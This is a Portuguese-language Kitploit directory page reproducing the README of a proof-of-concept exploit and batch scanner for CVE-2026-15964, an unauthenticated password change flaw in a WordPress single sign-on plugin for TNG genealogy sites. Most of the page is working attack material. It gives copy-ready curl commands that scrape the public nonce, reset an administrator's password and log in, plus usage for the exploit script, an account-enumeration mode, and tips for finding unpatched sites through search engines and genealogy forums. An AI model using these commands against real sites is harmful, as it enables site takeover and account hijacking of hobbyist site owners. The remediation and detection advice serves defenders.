Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-15964-PoC — PoC e verificador para CVE-2026-15964 - alteração de senha não autenticada no plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8) | Kitploit
Ferramentas/GitHubGitHub/instructor-admin/cve-2026-15964-poc
Autenticação e AutorizaçãoEscalada de PrivilégiosScanners de Vulnerabilidades WebExploraçãoExploração de Aplicações WebColeta de InformaçõesSegurança WebTestes de Penetração

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
instructor-admin/cve-2026-15964-poc

CVE-2026-15964-PoC

PoC e verificador para CVE-2026-15964 - alteração de senha não autenticada no plugin WordPress Single Sign On For TNG <= 2.0.0 (CVSS 9.8)

Ver Repositório
1há 18 diasAinda não revisado

CVE-2026-15964 - Single Sign On For TNG <= 2.0.0

POC

Escalação de privilégios não autenticada via alteração de senha não verificada no plugin WordPress Single Sign On For TNG.

SeveridadeCrítica (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-620 (Alteração de Senha Não Verificada)
Afetadasversões do plugin 1.0.0 a 2.0.0
Corrigido em2.1.0 (lançado em 2026-07-27)
Publicado2026-08-01
Autenticação necessárianenhuma (wp_ajax_nopriv_ssoprocess_ajax)
Impactoalterar a senha de qualquer conta WordPress, incluindo administradores — comprometimento total do site
Pluginhttps://wordpress.org/plugins/single-sign-on-for-tng/

TL;DR

Qualquer visitante não autenticado pode alterar a senha de qualquer conta em um site que execute o plugin na versão 2.0.0 ou anterior. Duas requisições HTTP:

  1. Faça GET na homepage e copie o nonce do objeto JavaScript SSOPWDREQUIREMENT.
  2. Envie-o via POST para admin-ajax.php com operation=setnewpassword, um e-mail de vítima e uma nova senha.

A função reset_password() do núcleo do WordPress faz o resto. Sem token, sem link de confirmação por e-mail, sem verificação de capacidade. Depois, faça login como administrador.

root@kitploit:~
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}

Por que isso funciona

O handler está registrado para usuários não autenticados

Em single-sign-on-for-tng.php (v2.0.0):

root@kitploit:~
add_action('wp_ajax_ssoprocess_ajax',        array($this, 'ssoprocess_ajax'));   // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax'));   // line 69

wp_ajax_nopriv_* significa que o handler é acessível sem nenhuma sessão.

A única proteção é um nonce que o plugin entrega a todo visitante

load_scripts() está conectado a wp_enqueue_scripts, portanto, em toda página do front-end, o plugin imprime isto no HTML:

root@kitploit:~
wp_localize_script('general_script','SSOPWDREQUIREMENT',
    array('passwordspec'=>PASSWORDSPEC,
          'url'=>admin_url('admin-ajax.php'),
          'nonce'=>wp_create_nonce("ssoajaxnonce")));                              // line 96

Que é renderizado como:

root@kitploit:~
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>

E o handler verifica assim:

root@kitploit:~
public function ssoprocess_ajax() {
    global $wpdb;
    check_ajax_referer('ssoajaxnonce', 'nonce');   // line 104
    ...

A pegadinha: o WordPress calcula nonces com wp_create_nonce($action) usando o uid e o token de sessão. Para visitantes deslogados, esses valores são 0 e uma string vazia, o que significa que todo visitante anônimo recebe exatamente o mesmo nonce. Ele só é gerado novamente a cada 12 horas (o tick do nonce). Portanto, o nonce que o plugin imprime para qualquer visitante também é válido para o atacante — não há segredo para roubar; ele é publicado na própria página.

E então a alteração em si, sem nenhuma prova de propriedade

root@kitploit:~
switch ($op) {
    case 'setnewpassword':
        if (!isset($post['email']) || !isset($post['password'])) { ... }
        $email = wp_unslash($post['email']);
        $user  = get_user_by('email', $email);
        if ($user !== false) {
            reset_password($user, $post['password']);   // line 120
            ...
            wp_send_json_success(array('success'=>true));
        }
        else
            wp_send_json_error(array('success'=>false));
        break;

reset_password() é uma função do núcleo do WordPress. Ela define o novo hash, encerra a sessão da vítima em todas as outras sessões e dispara as ações password_reset / after_password_reset. Aqui, ela é chamada sem nada que prove que quem a invoca é o dono da conta.

Dois extras que vale a pena conhecer:

  • Nenhuma verificação de força de senha no servidor neste caminho. As regras de MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC do plugin só são aplicadas em validate_form() para formulários Forminator, nunca aqui. Qualquer senha é aceita.
  • Enumeração de contas. {"success":true} vs {"success":false} indica se um e-mail está registrado. O modo --enum-only do verificador usa isso.
  • Bug bônus na mesma função: operation=set_tzoffset chama update_option('localtzoffset', $post['timezoneoffset']) sem autenticação. Não é diretamente explorável para RCE, mas é uma escrita de opção não autenticada e vale mencionar no writeup.

O que mudou na versão 2.1.0

Comparar a 2.0.0 com a 2.1.0 torna a correção óbvia (e confirma o bug):

root@kitploit:~
             case 'setnewpassword':
+                $timeout = intval($post['timeout']);
+                if (time() > $timeout) {
+                    // clears custom_recovery_token / _expiration / _nonce user meta
+                    wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+                    return;
+                }
                 $email = wp_unslash($post['email']);
                 $user  = get_user_by('email',$email);
                 if ($user !== false) {
                     reset_password($user,$post['password']);

além disso, em newpasswordform():

root@kitploit:~
+            if (empty($_GET['uid']))
+                return ... "An unexpected error occurred." ...
+            $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+            // The nonce is checked here
+            if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+                return ... "This recovery link is no longer valid." ...

Então, na versão 2.1.0, o fluxo é: uma solicitação real de recuperação armazena um custom_recovery_token + custom_recovery_nonce por usuário nos metadados do usuário, o link de recuperação carrega o ID do usuário, o formulário valida ambos, e o handler AJAX se recusa a executar depois que a janela de recuperação (timeout) expirar. Um atacante que não consiga produzir um registro de recuperação válido não consegue mais acionar setnewpassword.


Reprodução (manual)

Passo 1 - extrair o nonce

root@kitploit:~
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"

Passo 2 - alterar a senha

root@kitploit:~
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"

Resposta esperada em uma instalação vulnerável: {"success":true}

Passo 3 - fazer login

root@kitploit:~
curl -sk -X POST https://target/wp-login.php \
  -d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"

PoC: CVE-2026-15964.py

Exploit para um único site. Modos não destrutivos incluídos.

root@kitploit:~
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'

# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only

# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12

# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only

# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check

Verificador: CVE-2026-15964-checker.py

Scanner em lote para suas próprias listas de sites. Não destrutivo por design — ele nunca altera uma senha.

Como ele classifica cada site:

  1. Fingerprint HTML - objeto SSOPWDREQUIREMENT ou os caminhos de ativos /wp-content/plugins/single-sign-on-for-tng/ na homepage.
  2. Versão - linha Stable tag: do readme.txt. <= 2.0.0 é vulnerável, >= 2.1.0 está corrigido. Isso é autoritativo de acordo com o CVE.
  3. Sonda comportamental (--probe, somente quando a versão não pode ser lida) - envia operation=setnewpassword com um e-mail inexistente. Uma instalação 2.0.0 responde {"success":false} sem mensagem de erro; uma instalação 2.1.0 responde com a mensagem "time to submit the new password expired". Um e-mail real nunca é enviado — enviar um realmente redefiniria a senha.
root@kitploit:~
# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv

# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com

Exemplo de saída:

root@kitploit:~
URL                                             VERDICT           VER      NONCE  DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com                         VULNERABLE        2.0.0    yes    readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com                        PATCHED           2.1.0    yes    readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com                    PLUGIN_NOT_FOUND  -        -      

Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1

Veredictos: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS / UNKNOWN / ERROR. UNKNOWN normalmente significa um WAF, um cache de CDN agressivo ou um site que bloqueia o readme — verifique esses casos manualmente.


Testando as ferramentas localmente

tests/mock_server.py emula seis casos (vulnerável-por-versão, corrigido-por-versão, vulnerável-por-sonda, corrigido-por-sonda, WordPress sem o plugin, não-WordPress). É assim que a lógica do verificador foi validada antes de apontá-lo para algo real:

root@kitploit:~
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme

# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE

pip install -r requirements.txt fornece a única dependência (requests).


Notas de campo

Contexto honesto, porque afeta como você usa isso.

  • Este plugin tem como alvo o TNG (The Next Generation of Genealogy Sitebuilding), ou seja, sites de genealogia por hobby. É um ecossistema muito pequeno: cerca de 1.600 downloads no total no wordpress.org, instalações ativas ocultas (< 10), primeira versão em outubro de 2024.
  • Como a versão 2.1.0 só apareceu em 2026-07-27, a grande maioria dos downloads é de versões vulneráveis. Se você encontrar uma instalação, é muito provável que ela ainda esteja vulnerável.
  • A descoberta é a parte difícil. O plugin não deixa rastros no índice do Shodan (verifiquei todas as fingerprints em que consegui pensar — zero resultados), e até mesmo a fingerprinting dos 1.000 principais hosts WordPress retornados pelo Shodan não encontrou nenhuma instalação. Suas melhores fontes são: Google inurl:"single-sign-on-for-tng", "SSOPWDREQUIREMENT" em mecanismos de busca que indexam o código-fonte completo da página (PublicWWW, Censys, FOFA) e a própria comunidade TNG (tngsitebuilding.com, fóruns de genealogia).
  • A categoria UNKNOWN do verificador será comparativamente grande em sites genealógicos reais — muitos rodam atrás de cache agressivo ou bloqueiam readme.txt. Não interprete isso como "não vulnerável"; verifique manualmente.

Detecção e remediação

  • Atualize para 2.1.0 (ou remova o plugin por completo).
  • Regra de WAF: rejeite POSTs em admin-ajax.php em que action=ssoprocess_ajax não venha de uma sessão autenticada; alerte sobre setnewpassword de fontes anônimas.
  • Monitore alterações no hash wp_users.user_pass e as ações password_reset / after_password_reset; fique atento a logins de administrador imediatamente após uma alteração de senha.
  • Trate ssoajaxnonce como conhecimento público — sempre foi.

Referências

  • https://www.cve.org/CVERecord?id=CVE-2026-15964
  • https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-15964
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/1d8d393e-764c-491d-8afb-7d4f8d0c387a?source=cve
  • Código-fonte vulnerável (2.0.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.0.0/single-sign-on-for-tng.php
  • Código-fonte corrigido (2.1.0): https://plugins.trac.wordpress.org/browser/single-sign-on-for-tng/tags/2.1.0/single-sign-on-for-tng.php
  • https://plugins.trac.wordpress.org/changeset?reponame=&old=3624827%40single-sign-on-for-tng&new=3624827%40single-sign-on-for-tng

Aviso legal

Este repositório é apenas para testes de segurança autorizados e fins educacionais. Você é responsável pelas suas próprias ações. Não execute estas ferramentas contra sistemas que você não possui ou para os quais não tenha permissão escrita explícita para testar. O acesso não autorizado a sistemas de computador é crime na maioria das jurisdições.

Baixar ferramenta